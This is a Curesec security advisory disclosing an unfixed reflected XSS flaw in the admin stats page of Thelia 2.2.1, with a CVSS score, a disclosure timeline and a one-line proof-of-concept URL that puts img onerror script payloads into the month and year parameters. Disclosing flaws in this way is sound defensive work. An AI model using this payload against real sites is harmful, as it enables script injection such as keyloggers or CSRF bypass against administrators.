Thelia 2.2.1 Cross Site Scripting

`Security Advisory - Curesec Research Team  
  
1. Introduction  
  
Affected Product: Thelia 2.2.1  
Fixed in: not fixed  
Fixed Version Link: n/a  
Vendor Contact: [email protected]  
Vulnerability Type: XSS  
Remote Exploitable: Yes  
Reported to vendor: 09/29/2015  
Disclosed to public: 11/13/2015  
Release mode: Full Disclosure  
CVE: n/a  
Credits Tim Coen of Curesec GmbH  
  
2. Overview  
  
CVSS  
  
Medium 4.3 AV:N/AC:M/Au:N/C:N/I:P/A:N  
  
Description  
  
Thelia 2.2.1 suffers from an XSS vulnerability. With this, it is for example  
possible to inject JavaScript keyloggers, or to bypass CSRF protection.  
  
3. Proof of Concept  
  
  
http://localhost/thelia_2.1.5/web/admin/home/stats?month=95<img src=no onerror=alert(1)>&year=20155<img src=no onerror=alert(2)>  
  
4. Solution  
  
This issue has not been fixed by the vendor  
  
5. Report Timeline  
  
09/29/2015 Informed Vendor about Issue (no reply)  
10/21/2015 Reminded Vendor of Disclosure Date (no reply)  
11/13/2015 Disclosed to public  
  
  
Blog Reference:  
http://blog.curesec.com/article/blog/Thelia-221-XSS-90.html  
  
  
`